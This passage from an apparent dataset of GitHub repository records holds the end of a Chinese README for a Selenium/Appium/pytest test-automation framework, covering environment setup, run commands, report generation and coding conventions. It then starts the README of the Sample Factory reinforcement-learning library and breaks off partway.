PKG_CONFIG_PATH=/usr/local/lib/pkgconfig\n        ```\n    * \u5b89\u88c5tesseract-ocr\uff0c\u4e0b\u8f7dtesseract-4.1.1.tar.gz\uff0c\u4e0b\u8f7d\u5730\u5740\uff1ahttps://github.com/tesseract-ocr/tesseract/releases\n        * ./autogen.sh\n        * ./configure\n        * sudo make\n        * sudo make install\n        * sudo ldconfig\n* Windows\n    * \u5b89\u88c5Microsoft Visual C++ 2019 Redistributable\uff0c\u4e0b\u8f7d\u5730\u5740\uff1ahttps://visualstudio.microsoft.com/zh-hans/downloads/\n\n### 2\u3001selenium server\u8fd0\u884c\u73af\u5883\u51c6\u5907\n#### 2.1\u3001\u5b89\u88c5jdk1.8,\u5e76\u914d\u7f6e\u73af\u5883\u53d8\u91cf\n* export JAVA_HOME=/usr/lib/jvm/jdk8\n* export JRE_HOME=${JAVA_HOME}/jre \n* export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib\n* export PATH=${JAVA_HOME}/bin:$PATH\n\n#### 2.2\u3001\u5b89\u88c5\u914d\u7f6eselenium\n* \u914d\u7f6eselenium server\n    * \u4e0b\u8f7dselenium-server-standalone-3.141.0.jar\n    * \u4e0b\u8f7d\u5730\u5740:http://selenium-release.storage.googleapis.com/index.html\n    * \u4ee5\u7ba1\u7406\u5458\u8eab\u4efd\u542f\u52a8\u670d\u52a1:java -jar selenium-server-standalone-3.141.0.jar -log selenium.log\n* \u4e0b\u8f7d\u6d4f\u89c8\u5668\u9a71\u52a8\n    * \u8c37\u6b4c\u6d4f\u89c8\u5668\uff1ahttps://chromedriver.storage.googleapis.com/index.html\n        * \u9a71\u52a8\u652f\u6301\u7684\u6700\u4f4e\u6d4f\u89c8\u5668\u7248\u672c\uff1ahttps://raw.githubusercontent.com/appium/appium-chromedriver/master/config/mapping.json\n    * \u706b\u72d0\u6d4f\u89c8\u5668\uff1ahttps://github.com/mozilla/geckodriver/\n        * \u9a71\u52a8\u652f\u6301\u7684\u6d4f\u89c8\u5668\u7248\u672c\uff1ahttps://firefox-source-docs.mozilla.org/testing/geckodriver/geckodriver/Support.html\n    * IE\u6d4f\u89c8\u5668(\u5efa\u8bae\u4f7f\u752832\u4f4d,64\u4f4d\u64cd\u4f5c\u6781\u6162)\uff1ahttp://selenium-release.storage.googleapis.com/index.html\n    * \u5c06\u9a71\u52a8\u6240\u5728\u76ee\u5f55\u52a0\u5165\u5230selenium server\u670d\u52a1\u5668\u7cfb\u7edf\u73af\u5883\u53d8\u91cf:export PATH=/home/john/selenium/:$PATH\n* IE\u6d4f\u89c8\u5668\u8bbe\u7f6e\n    * \u5728Windows Vista\u3001Windows7\u7cfb\u7edf\u4e0a\u7684IE\u6d4f\u89c8\u5668\u5728IE7\u53ca\u4ee5\u4e0a\u7248\u672c\u4e2d\uff0c\u9700\u8981\u8bbe\u7f6e\u56db\u4e2a\u533a\u57df\u7684\u4fdd\u62a4\u6a21\u5f0f\u4e3a\u4e00\u6837\uff0c\u8bbe\u7f6e\u5f00\u542f\u6216\u8005\u5173\u95ed\u90fd\u53ef\u4ee5\u3002\n        * \u5de5\u5177-->Internet\u9009\u9879-->\u5b89\u5168\n    * IE10\u53ca\u4ee5\u4e0a\u7248\u672c\u589e\u5f3a\u4fdd\u62a4\u6a21\u5f0f\u9700\u8981\u5173\u95ed\u3002\n        * \u5de5\u5177-->Internet\u9009\u9879-->\u9ad8\u7ea7\n    * \u6d4f\u89c8\u5668\u7f29\u653e\u7ea7\u522b\u5fc5\u987b\u8bbe\u7f6e\u4e3a100%\uff0c\u4ee5\u4fbf\u672c\u5730\u9f20\u6807\u4e8b\u4ef6\u53ef\u4ee5\u8bbe\u7f6e\u4e3a\u6b63\u786e\u7684\u5750\u6807\u3002\n    * \u9488\u5bf9IE11\u9700\u8981\u8bbe\u7f6e\u6ce8\u518c\u8868\u4ee5\u4fbf\u4e8e\u6d4f\u89c8\u5668\u9a71\u52a8\u4e0e\u6d4f\u89c8\u5668\u5efa\u7acb\u8fde\u63a5\n        * Windows 64\u4f4d\uff1aHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Internet Explorer\\Main\\FeatureControl\\FEATURE_BFCACHE\n        * Windows 32\u4f4d\uff1aHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\\FeatureControl\\FEATURE_BFCACHE\n        * \u5982\u679cFEATRUE_BFCACHE\u9879\u4e0d\u5b58\u5728\uff0c\u9700\u8981\u521b\u5efa\u4e00\u4e2a\uff0c\u7136\u540e\u5728\u91cc\u9762\u521b\u5efa\u4e00\u4e2aDWORD(32\u4f4d)\uff0c\u547d\u540d\u4e3aiexplore.exe\uff0c\u503c\u4e3a0\n        * Windows 64\u4f4d\u4e24\u4e2a\u6ce8\u518c\u8868\u5efa\u8bae\u90fd\u8bbe\u7f6e\n    * IE8\u53ca\u4ee5\u4e0a\u7248\u672c\u8bbe\u7f6e\u652f\u6301inprivate\u6a21\u5f0f\uff0c\u4ee5\u4fbf\u591a\u5f00IE\u7a97\u53e3\u65f6cookies\u80fd\u591f\u72ec\u4eab\n        * HKKY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main \u4e0b\u5efa\u4e00\u4e2a\u540d\u4e3aTabProcGrowth\u7684DWORD(32\u4f4d)\uff0c\u503c\u4e3a0\n    * \u91cd\u542f\u7cfb\u7edf\n    * \u6ce8:https://github.com/SeleniumHQ/selenium/wiki/InternetExplorerDriver#required-configuration\n\n### 3\u3001appium server\u8fd0\u884c\u73af\u5883\u51c6\u5907\n#### 3.1\u3001\u5b89\u88c5jdk1.8,\u5e76\u914d\u7f6e\u73af\u5883\u53d8\u91cf\n* export JAVA_HOME=/usr/lib/jvm/jdk8\n* export JRE_HOME=${JAVA_HOME}/jre \n* export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib\n* export PATH=${JAVA_HOME}/bin:$PATH\n\n#### 3.2\u3001\u5b89\u88c5\u914d\u7f6eappium server\n* \u5b89\u88c5appium desktop server\n    * \u4e0b\u8f7dAppium-windows-1.15.1.exe\n    * \u4e0b\u8f7d\u5730\u5740:https://github.com/appium/appium-desktop/releases\n    * \u4ee5\u7ba1\u7406\u5458\u8eab\u4efd\u542f\u52a8\u670d\u52a1\n\n* Android\u73af\u5883\u51c6\u5907\n    * \u5b89\u88c5java(JDK),\u5e76\u914d\u7f6eJAVA_HOME=/usr/lib/jvm/jdk8\n    * \u5b89\u88c5Android SDK,\u5e76\u914d\u7f6eANDROID_HOME=\"/usr/local/adt/sdk\"\n    * \u4f7f\u7528SDK manager\u5b89\u88c5\u9700\u8981\u8fdb\u884c\u81ea\u52a8\u5316\u7684Android API\u7248\u672c\n    \n* IOS\u73af\u5883\u51c6\u5907\n    * \u7531\u4e8e\u6d4b\u8bd5IOS\u771f\u5b9e\u8bbe\u5907\u6ca1\u529e\u6cd5\u76f4\u63a5\u64cd\u4f5cweb view\uff0c\u9700\u8981\u901a\u8fc7usb\uff0c\u5b9e\u73b0\u901a\u8fc7usb\u521b\u5efa\u8fde\u63a5\u9700\u8981\u5b89\u88c5ios-webkit-debug-proxy\n    * \u4e0b\u8f7d\u5b89\u88c5\u5730\u5740\uff1ahttps://github.com/google/ios-webkit-debug-proxy/tree/v1.8.5\n\n* \u624b\u673achrome\u73af\u5883\u51c6\u5907\n    * \u786e\u4fdd\u624b\u673a\u5df2\u5b89\u88c5chrome\u6d4f\u89c8\u5668\n    * \u4e0b\u8f7dchrome\u6d4f\u89c8\u5668\u9a71\u52a8\uff1ahttps://chromedriver.storage.googleapis.com/index.html\n    * \u9a71\u52a8\u652f\u6301\u7684\u6700\u4f4e\u6d4f\u89c8\u5668\u7248\u672c\uff1ahttps://raw.githubusercontent.com/appium/appium-chromedriver/master/config/mapping.json\n    * \u5728appium desktop\u4e0a\u8bbe\u7f6e\u9a71\u52a8\u7684\u8def\u5f84\n\n* \u6df7\u5408\u5e94\u7528\u73af\u5883\u51c6\u5907\n    * \u65b9\u6cd5\u4e00\uff1a\u5b89\u88c5TBS Studio\u5de5\u5177\u67e5\u770bwebview\u5185\u6838\u7248\u672c\uff1ahttps://x5.tencent.com/tbs/guide/debug/season1.html\n    * \u65b9\u6cd5\u4e8c\uff1a\u6253\u5f00\u5730\u5740\uff08\u8be5\u5730\u5740\u5728uc\u5f00\u53d1\u5de5\u5177\u4e2d\u53ef\u67e5\u5230\uff09\u67e5\u770bwebview\u5185\u6838\u7248\u672c\uff1ahttps://liulanmi.com/labs/core.html\n    * \u4e0b\u8f7dwebview\u5185\u6838\u5bf9\u5e94\u7684chromedriver\u7248\u672c\uff1ahttps://chromedriver.storage.googleapis.com/index.html\n    * \u914d\u7f6e\u6587\u4ef6\u8fdb\u884c\u9a71\u52a8\u8def\u5f84\u7684\u914d\u7f6e\n    * \u6ce8\uff1awebview\u9700\u8981\u5f00\u542fdebug\u6a21\u5f0f\n\n* Windows\u73af\u5883\u51c6\u5907\n    * \u652f\u6301Windows10\u53ca\u4ee5\u4e0a\u7248\u672c\n    * \u8bbe\u7f6eWindows\u5904\u4e8e\u5f00\u53d1\u8005\u6a21\u5f0f\n    * \u4e0b\u8f7dWinAppDriver\u5e76\u5b89\u88c5(V1.1\u7248\u672c),https://github.com/Microsoft/WinAppDriver/releases\n    * \\[\u53ef\u9009\\]\u4e0b\u8f7d\u5b89\u88c5WindowsSDK,\u5728Windows Kits\\10\\bin\\10.0.17763.0\\x64\u5185\u5305\u542b\u6709inspect.exe\u7528\u4e8e\u5b9a\u4f4dWindows\u7a0b\u5e8f\u7684\u5143\u7d20\u4fe1\u606f\n\n* \u5176\u4ed6\u66f4\u591a\u914d\u7f6e\uff1ahttps://github.com/appium/appium/tree/v1.15.1/docs/en/drivers\n\n## \u4e8c\u3001\u4fee\u6539\u914d\u7f6e\n* vim config/app_ui_config.conf \u914d\u7f6eapp ui\u81ea\u52a8\u5316\u7684\u6d4b\u8bd5\u4fe1\u606f\n* vim config/web_ui_config.conf \u914d\u7f6eweb ui\u81ea\u52a8\u5316\u7684\u6d4b\u8bd5\u4fe1\u606f\n* vim config/projectName/projectName.conf \u914d\u7f6e\u6d4b\u8bd5\u9879\u76ee\u7684\u4fe1\u606f\n* \u4fee\u6539\u6027\u80fd\u6d4b\u8bd5\u8d1f\u8f7d\u673a\u7684\u7cfb\u7edf\u6700\u5927\u6253\u5f00\u6587\u4ef6\u6570,\u907f\u514d\u5e76\u53d1\u7528\u6237\u6570\u5927\u4e8e\u6700\u5927\u6253\u5f00\u6587\u4ef6\u6570\n\n## \u4e09\u3001\u8fd0\u884c\u6d4b\u8bd5\n### 1\u3001API\u6d4b\u8bd5\n* cd AutomationTest/\n* python3 -u run_api_test.py --help\n* python3 -u run_api_test.py \u8fd0\u884ccases/api/\u76ee\u5f55\u6240\u6709\u7684\u7528\u4f8b\n* python3 -u run_api_test.py -k keyword \u8fd0\u884c\u5339\u914d\u5173\u952e\u5b57\u7684\u7528\u4f8b\uff0c\u4f1a\u5339\u914d\u6587\u4ef6\u540d\u3001\u7c7b\u540d\u3001\u65b9\u6cd5\u540d\n* python3 -u run_api_test.py -d dir     \u8fd0\u884c\u6307\u5b9a\u76ee\u5f55\u7684\u7528\u4f8b\uff0c\u9ed8\u8ba4\u8fd0\u884ccases/api/\u76ee\u5f55\n* python3 -u run_api_test.py -m mark    \u8fd0\u884c\u6307\u5b9a\u6807\u8bb0\u7684\u7528\u4f8b\n\n### 2\u3001web ui\u6d4b\u8bd5\n* cd AutomationTest/\n* python3 -u run_web_ui_test.py --help\n* python3 -u run_web_ui_test.py \u8fd0\u884ccases/web_ui/\u76ee\u5f55\u6240\u6709\u7684\u7528\u4f8b\n* python3 -u run_web_ui_test.py -k keyword \u8fd0\u884c\u5339\u914d\u5173\u952e\u5b57\u7684\u7528\u4f8b\uff0c\u4f1a\u5339\u914d\u6587\u4ef6\u540d\u3001\u7c7b\u540d\u3001\u65b9\u6cd5\u540d\n* python3 -u run_web_ui_test.py -d dir     \u8fd0\u884c\u6307\u5b9a\u76ee\u5f55\u7684\u7528\u4f8b\uff0c\u9ed8\u8ba4\u8fd0\u884ccases/web_ui/\u76ee\u5f55\n* python3 -u run_web_ui_test.py -m mark    \u8fd0\u884c\u6307\u5b9a\u6807\u8bb0\u7684\u7528\u4f8b\n\n### 3\u3001app ui\u6d4b\u8bd5\n* cd AutomationTest/\n* python3 -u run_app_ui_test.py --help\n* python3 -u run_app_ui_test.py \u8fd0\u884ccases/app_ui/\u76ee\u5f55\u6240\u6709\u7684\u7528\u4f8b\n* python3 -u run_app_ui_test.py -tt phone -k keyword \u8fd0\u884c\u5339\u914d\u5173\u952e\u5b57\u7684\u7528\u4f8b\uff0c\u4f1a\u5339\u914d\u6587\u4ef6\u540d\u3001\u7c7b\u540d\u3001\u65b9\u6cd5\u540d\n* python3 -u run_app_ui_test.py -tt phone -d dir     \u8fd0\u884c\u6307\u5b9a\u76ee\u5f55\u7684\u7528\u4f8b\uff0c\u9ed8\u8ba4\u8fd0\u884ccases/app_ui/\u76ee\u5f55\n* python3 -u run_app_ui_test.py -m mark              \u8fd0\u884c\u6307\u5b9a\u6807\u8bb0\u7684\u7528\u4f8b\n\n### 4\u3001\u6027\u80fd\u6d4b\u8bd5\n* cd AutomationTest/\n* ./start_locust_master.sh\n* ./start_locust_slave.sh\n\n## \u56db\u3001\u751f\u6210\u6d4b\u8bd5\u62a5\u544a\n### 1\u3001API\u6d4b\u8bd5\n* cd AutomationTest/\n* python3 -u generate_api_test_report.py -p 9080 \n* \u8bbf\u95ee\u5730\u5740http://ip:9080\n* \u5728\u4f7f\u7528Ubuntu\u8fdb\u884c\u62a5\u544a\u751f\u6210\u65f6\uff0c\u8bf7\u52ff\u4f7f\u7528sudo\u6743\u9650\uff0c\u5426\u5219\u65e0\u6cd5\u751f\u6210\uff0callure\u4e0d\u652f\u6301\n\n### 2\u3001web ui\u6d4b\u8bd5\n* cd AutomationTest/\n* python3 -u generateReport_web_ui_test_report.py -ieport 9081 -chromeport 9082 -firefoxport 9083\n* \u8bbf\u95ee\u5730\u5740http://ip:908[1-3]\n* \u5728\u4f7f\u7528Ubuntu\u8fdb\u884c\u62a5\u544a\u751f\u6210\u65f6\uff0c\u8bf7\u52ff\u4f7f\u7528sudo\u6743\u9650\uff0c\u5426\u5219\u65e0\u6cd5\u751f\u6210\uff0callure\u4e0d\u652f\u6301\n\n### 3\u3001app ui\u6d4b\u8bd5\n* cd AutomationTest/\n* python3 -u generateReport_app_ui_test_report.py -sp 9084\n* \u8bbf\u95ee\u5730\u5740http://ip:9084\n\n### \u6ce8\uff1a\u5728\u4f7f\u7528Ubuntu\u8fdb\u884c\u62a5\u544a\u751f\u6210\u65f6\uff0c\u8bf7\u52ff\u4f7f\u7528sudo\u6743\u9650\uff0c\u5426\u5219\u65e0\u6cd5\u751f\u6210\uff0callure\u4e0d\u652f\u6301\n\n## \u4e94\u3001\u9879\u76ee\u8bf4\u660e\n### 1\u3001API\u6d4b\u8bd5\n* \u9879\u76ee\n    * demoProject \u4f8b\u5b50\u9879\u76ee\n        \n### 2\u3001web ui\u6d4b\u8bd5\n* \u5143\u7d20\u7684\u663e\u5f0f\u7b49\u5f85\u65f6\u95f4\u9ed8\u8ba4\u4e3a30s\n* \u5c01\u88c5\u7684\u663e\u5f0f\u7b49\u5f85\u7c7b\u578b\u652f\u6301:page_objects/web_ui/wait_type.py\n* \u5c01\u88c5\u7684\u5b9a\u4f4d\u7c7b\u578b\u652f\u6301:page_objects/web_ui/locator_type.py\n* \u9ed8\u8ba4\u4f7f\u75284\u4e2aworker\u8fdb\u884c\u5e76\u884c\u6d4b\u8bd5\n* \u6587\u4ef6\u4e0b\u8f7d\u5904\u7406\u6682\u4e0d\u652f\u6301ie\u6d4f\u89c8\u5668\n* \u65e0\u5934\u6d4f\u89c8\u5668\u6682\u4e0d\u652f\u6301ie\u6d4f\u89c8\u5668\n* \u9879\u76ee\n    * demoProject \u4f8b\u5b50\u9879\u76ee\n        \n### 3\u3001app ui\u6d4b\u8bd5\n* \u5143\u7d20\u7684\u663e\u5f0f\u7b49\u5f85\u65f6\u95f4\u9ed8\u8ba4\u4e3a30s\n* \u5c01\u88c5\u7684\u663e\u5f0f\u7b49\u5f85\u7c7b\u578b\u652f\u6301:page_objects/app_ui/wait_type.py\n* \u5c01\u88c5\u7684\u5b9a\u4f4d\u7c7b\u578b\u652f\u6301:page_objects/app_ui/locator_type.py\n* \u9879\u76ee\n    * android \n        * demoProject \u4f8b\u5b50\u9879\u76ee\n\n# [\u9879\u76ee\u7ed3\u6784]()\n* base \u57fa\u7840\u8bf7\u6c42\u7c7b\n* cases \u6d4b\u8bd5\u7528\u4f8b\u76ee\u5f55\n* common \u516c\u5171\u6a21\u5757\n* common_projects \u6bcf\u4e2a\u9879\u76ee\u7684\u516c\u5171\u6a21\u5757\n* config\u3000\u914d\u7f6e\u6587\u4ef6\n* init \u521d\u59cb\u5316\n* logs \u65e5\u5fd7\u76ee\u5f55\n* output \u6d4b\u8bd5\u7ed3\u679c\u8f93\u51fa\u76ee\u5f55 \n* packages app ui\u6d4b\u8bd5\u7684\u5b89\u88c5\u5305\n* page_objects \u9875\u9762\u6620\u5c04\u5bf9\u8c61\n* pojo \u5b58\u653e\u81ea\u5b9a\u4e49\u7c7b\u5bf9\u8c61\n* test_data \u6d4b\u8bd5\u6240\u9700\u7684\u6d4b\u8bd5\u6570\u636e\u76ee\u5f55\n* run_api_test.py \u8fd0\u884capi\u6d4b\u8bd5\u811a\u672c\n* run_web_ui_test.py \u8fd0\u884cweb ui\u6d4b\u8bd5\u811a\u672c\n* run_app_ui_test.py \u8fd0\u884capp ui\u6d4b\u8bd5\u811a\u672c\n* generate_api_test_report.py \u751f\u6210api\u6d4b\u8bd5\u62a5\u544a\n* generateReport_web_ui_test_report.py \u751f\u6210web ui\u6d4b\u8bd5\u62a5\u544a\n* generateReport_app_ui_test_report.py \u751f\u6210app ui\u6d4b\u8bd5\u62a5\u544a\n* start_locust_master.sh \u542f\u52a8locust\u4e3b\u8282\u70b9\n* start_locust_slave.sh \u542f\u52a8locust\u4ece\u8282\u70b9\n\n# [\u7f16\u7801\u89c4\u8303]()\n* \u7edf\u4e00\u4f7f\u7528python 3.6.8\n* \u7f16\u7801\u4f7f\u7528-\\*- coding:utf8 -\\*-,\u4e14\u4e0d\u6307\u5b9a\u89e3\u91ca\u5668\n* \u7c7b/\u65b9\u6cd5\u7684\u6ce8\u91ca\u5747\u5199\u5728class/def\u4e0b\u4e00\u884c\uff0c\u5e76\u4e14\u7528\u4e09\u4e2a\u53cc\u5f15\u53f7\u5f62\u5f0f\u6ce8\u91ca\n* \u5c40\u90e8\u4ee3\u7801\u6ce8\u91ca\u4f7f\u7528#\u53f7\n* \u6240\u6709\u4e2d\u6587\u90fd\u76f4\u63a5\u4f7f\u7528\u5b57\u7b26\u4e32\uff0c\u4e0d\u8f6c\u6362\u6210Unicode\uff0c\u5373\u4e0d\u662f\u7528\u3010u'\u4e2d\u6587'\u3011\u7f16\u5199\n* \u6240\u6709\u7684\u6d4b\u8bd5\u6a21\u5757\u6587\u4ef6\u90fd\u4ee5test_projectName_moduleName.py\u547d\u540d\n* \u6240\u6709\u7684\u6d4b\u8bd5\u7c7b\u90fd\u4ee5Test\u5f00\u5934\uff0c\u7c7b\u4e2d\u65b9\u6cd5(\u7528\u4f8b)\u90fd\u4ee5test_\u5f00\u5934\n* \u6bcf\u4e2a\u6d4b\u8bd5\u9879\u76ee\u90fd\u5728cases\u76ee\u5f55\u91cc\u521b\u5efa\u4e00\u4e2a\u76ee\u5f55\uff0c\u4e14\u76ee\u5f55\u90fd\u5305\u542b\u6709api\u3001scenrarios\u4e24\u4e2a\u76ee\u5f55\n* case\u5bf9\u5e94setup/teardown\u7684fixture\u7edf\u4e00\u547d\u540d\u6210fixture_[test_case_method_name]\n* \u6bcf\u4e00\u4e2a\u6a21\u5757\u4e2d\u6d4b\u8bd5\u7528\u4f8b\u5982\u679c\u6709\u987a\u5e8f\u8981\u6c42\u3010\u4e3b\u8981\u9488\u5bf9ui\u81ea\u52a8\u5316\u6d4b\u8bd5\u3011\uff0c\u5219\u81ea\u4e0a\u800c\u4e0b\u6392\u5e8f\uff0cpytest\u5728\u5355\u4e2a\u6a21\u5757\u91cc\u4f1a\u81ea\u4e0a\u800c\u4e0b\u6309\u987a\u5e8f\u6267\u884c\n\n# [pytest\u5e38\u7528]()\n* @pytest.mark.skip(reason='\u8be5\u529f\u80fd\u5df2\u5e9f\u5f03')\n* @pytest.mark.parametrize('key1,key2',[(key1_value1,key2_value2),(key1_value2,key2_value2)])\n* @pytest.mark.usefixtures('func_name')\n\n# [\u6ce8\u610f\u70b9]()\n* \u8fd0\u884cpytest\u65f6\u6307\u5b9a\u7684\u76ee\u5f55\u5185\u5e94\u5f53\u6709conftest.py\uff0c\u65b9\u80fd\u5728\u5176\u4ed6\u6a21\u5757\u4e2d\u4f7f\u7528\u3002@allure.step\u4f1a\u5f71\u54cdfixture\uff0c\u6545\u5728\u811a\u672c\u4e2d\u4e0d\u4f7f\u7528@allure.step\n* \u7531\u4e8eweb ui\u914d\u7f6e\u7684\u9a71\u52a8\u662f\u76f4\u63a5\u8bbe\u7f6e\u5728\u7cfb\u7edf\u73af\u5883\u53d8\u91cf\uff0capp ui\u6307\u5b9a\u4e86\u6df7\u5408\u5e94\u7528\u7684\u6d4f\u89c8\u5668\u9a71\u52a8\uff0c\u5728\u8fd0\u884capp ui\u65f6appium\u6709\u53ef\u80fd\u4f1a\u8bfb\u53d6\u5230\u7cfb\u7edf\u7684\u73af\u5883\u53d8\u91cf\u7684\u914d\u7f6e\uff0c\u6545\u8fd0\u884c\u65f6\u8bf7\u6392\u67e5\u6b64\u60c5\u51b5\n* \u6570\u636e\u5e93\u64cd\u4f5c\uff0c\u6240\u6709\u8868\u64cd\u4f5c\u5747\u8fdb\u884c\u5355\u8868\u64cd\u4f5c\uff0c\u5982\u9700\u591a\u8868\u67e5\u8be2\uff0c\u4f7f\u7528\u4ee3\u7801\u8fdb\u884c\u805a\u5408\n* web ui\u6d4b\u8bd5\n    * \u7edf\u4e00\u4f7f\u7528Firefox\u6d4f\u89c8\u5668\u8fdb\u884c\u5143\u7d20\u5b9a\u4f4d\n    * \u80fd\u7528id\u3001name\u3001link(\u4e0d\u5e38\u53d8\u5316\u7684\u94fe\u63a5)\u5b9a\u4f4d\u7684\uff0c\u4e0d\u4f7f\u7528css\u5b9a\u4f4d\uff0c\u80fd\u4f7f\u7528css\u5b9a\u4f4d\uff0c\u4e0d\u4f7f\u7528xpath\u5b9a\u4f4d\n    * \u9879\u76ee\u4f7f\u7528\u5e76\u53d1\u8fd0\u884c\uff0c\u6545\u7f16\u5199\u6d4b\u8bd5\u7528\u4f8b\u65f6\uff0c\u5e94\u8be5\u907f\u514d\u6a21\u5757\u4e0e\u6a21\u5757\u76f4\u63a5\u7684\u7528\u4f8b\u4f1a\u76f8\u4e92\u5f71\u54cd\u6d4b\u8bd5\u7ed3\u679c\n* app ui\u6d4b\u8bd5\n    * \u80fd\u7528id\u3001name\u3001link(\u4e0d\u5e38\u53d8\u5316\u7684\u94fe\u63a5)\u5b9a\u4f4d\u7684\uff0c\u4e0d\u4f7f\u7528css\u5b9a\u4f4d\uff0c\u80fd\u4f7f\u7528css\u5b9a\u4f4d\uff0c\u4e0d\u4f7f\u7528xpath\u5b9a\u4f4d\n    * \u5982\u9700\u8981\u4e0a\u4f20\u6587\u4ef6\u5230\u624b\u673a\u6216\u8005\u4ece\u624b\u673a\u4e0b\u8f7d\u6587\u4ef6\uff0c\u8bf7\u786e\u4fdd\u6709\u624b\u673a\u5bf9\u5e94\u76ee\u5f55\u7684\u8bfb\u5199\u6743\u9650\n    * \u89c6\u9891\u5f55\u5236\u7edf\u4e00\u5bf9\u5355\u4e2a\u5355\u4e2acase\u8fdb\u884c\uff0c\u4fdd\u8bc1\u5f55\u5236\u65f6\u95f4\u4e0d\u8d85\u8fc73\u5206\u949f\uff0c\u4e14\u5f55\u5236\u6587\u4ef6\u4e0d\u8981\u8fc7\u5927\uff0c\u5426\u5219\u4f1a\u5f15\u8d77\u624b\u673a\u5185\u5b58\u65e0\u6cd5\u5b58\u50a8\u89c6\u9891\n            * \u786e\u8ba4\u624b\u673a\u662f\u5426\u80fd\u8fdb\u884c\u89c6\u9891\u5f55\u5236\u6267\u884c\u547d\u4ee4adb shell screenrecord /sdcard/test.mp4\uff0c\u80fd\u6b63\u5e38\u6267\u884c\u5373\u53ef\n    * \u8bbe\u5907\u5c4f\u5e55\u5750\u6807\u7cfb\u539f\u70b9\u90fd\u5728\u6700\u5de6\u4e0a\u89d2\uff0c\u5f80\u53f3x\u8f74\u9012\u589e\uff0c\u5f80\u4e0by\u8f74\u9012\u589e\n\n# [\u8fdb\u4ea4\u6d41\u7fa4]()\n![avatar](https://github.com/yanchunhuo/resources/blob/master/wechat.png)\n\n\n[![Stargazers over time](https://starchart.cc/yanchunhuo/AutomationTest.svg)](https://starchart.cc/yanchunhuo/AutomationTest)\n\n[![Top Langs](https://profile-counter.glitch.me/yanchunhuo/count.svg)](https://github.com/yanchunhuo)", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "alex-petrenko/sample-factory", "link": "https://github.com/alex-petrenko/sample-factory", "tags": ["reinforcement-learning"], "stars": 515, "description": "High throughput synchronous and asynchronous reinforcement learning", "lang": "Python", "repo_lang": "", "readme": "[![tests](https://github.com/alex-petrenko/sample-factory/actions/workflows/test-ci.yml/badge.svg?branch=master)](https://github.com/alex-petrenko/sample-factory/actions/workflows/test-ci.yml)\n[![codecov](https://codecov.io/gh/alex-petrenko/sample-factory/branch/master/graph/badge.svg?token=9EHMIU5WYV)](https://codecov.io/gh/alex-petrenko/sample-factory)\n[![pre-commit](https://github.com/alex-petrenko/sample-factory/actions/workflows/pre-commit.yml/badge.svg?branch=master)](https://github.com/alex-petrenko/sample-factory/actions/workflows/pre-commit.yml)\n[![docs](https://github.com/alex-petrenko/sample-factory/actions/workflows/docs.yml/badge.svg)](https://samplefactory.dev)\n[![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)\n[![Imports: isort](https://img.shields.io/badge/%20imports-isort-%231674b1?style=flat&labelColor=ef8336)](https://pycqa.github.io/isort/)\n[![GitHub license](https://img.shields.io/badge/license-MIT-blue.svg)](https://github.com/alex-petrenko/sample-factory/blob/master/LICENSE)\n[![Downloads](https://pepy.tech/badge/sample-factory)](https://pepy.tech/project/sample-factory)\n[<img src=\"https://img.shields.io/discord/987232982798598164?label=discord\">](https://discord.gg/BCfHWaSMkr)\n<!-- [![pre-commit.ci status](https://results.pre-commit.ci/badge/github/wmFrank/sample-factory/master.svg)](https://results.pre-commit.ci/latest/github/wmFrank/sample-factory/master)-->\n<!-- [![wakatime](https://wakatime.com/badge/github/alex-petrenko/sample-factory.svg)](https://wakatime.com/badge/github/alex-petrenko/sample-factory)-->\n\n\n# Sample Factory\n\nHigh-throughput reinforcement learning codebase. Version 2.0.0 is out! \ud83e\udd17\n\n**Resources:**\n\n* **Documentation:** [https://samplefactory.dev](https://samplefactory.dev) \n\n* **Paper:** https://arxiv.org/abs/2006.11751\n\n* **Citation:** [BibTeX](https://github.com/alex-petrenko/sample-factory#citation)\n\n* **Discord:** [https://discord.gg/BCfHWaSMkr](https://discord.gg/BCfHWaSMkr)\n\n* **Twitter (for updates):** [@petrenko_ai](https://twitter.com/petrenko_ai)\n\n* **Talk (circa 2021):** https://youtu.be/lLG17LKKSZc\n\n### What is Sample Factory?\n\nSample Factory is one of the fastest RL libraries.\nWe focused on very efficient synchronous and asynchronous implementations of policy gradients (PPO). \n\nSample Factory is thoroughly tested, used by many researchers and practitioners, and is actively maintained.\nOur implementation is known to reach SOTA performance in a variety of domains in a short amount of time.\nClips below demonstrate ViZDoom, IsaacGym, DMLab-30, Megaverse, Mujoco, and Atari agents trained with Sample Factory:\n\n<p align=\"middle\">\n<img src=\"https://github.com/alex-petrenko/sf_assets/blob/main/gifs/vizdoom.gif?raw=true\" width=\"360\" alt=\"VizDoom agents traned using Sample Factory 2.0\">\n<img src=\"https://github.com/alex-petrenko/sf_assets/blob/main/gifs/isaac.gif?raw=true\" width=\"360\" alt=\"IsaacGym agents traned using Sample Factory 2.0\">\n<br/>\n<img src=\"https://github.com/alex-petrenko/sf_assets/blob/main/gifs/dmlab.gif?raw=true\" width=\"380\" alt=\"DMLab-30 agents traned using Sample Factory 2.0\">\n<img src=\"https://github.com/alex-petrenko/sf_assets/blob/main/gifs/megaverse.gif?raw=true\" width=\"340\" alt=\"Megaverse agents traned using Sample Factory 2.0\">\n<br/>\n<img src=\"https://github.com/alex-petrenko/sf_assets/blob/main/gifs/mujoco.gif?raw=true\" width=\"390\" alt=\"Mujoco agents traned using Sample Factory 2.0\">\n<img src=\"https://github.com/alex-petrenko/sf_assets/blob/main/gifs/atari.gif?raw=true\" width=\"330\" alt=\"Atari agents traned using Sample Factory 2.0\">\n</p>\n\n**Key features:**\n\n* Highly optimized algorithm [architecture](https://www.samplefactory.dev/06-architecture/overview/) for maximum learning throughput\n* [Synchronous and asynchronous](https://www.samplefactory.dev/07-advanced-topics/sync-async/) training regimes\n* [Serial (single-process) mode](https://www.samplefactory.dev/07-advanced-topics/serial-mode/) for easy debugging\n* Optimal performance in both CPU-based and [GPU-accelerated environments](https://www.samplefactory.dev/09-environment-integrations/isaacgym/)\n* Single- & multi-agent training, self-play, supports [training multiple 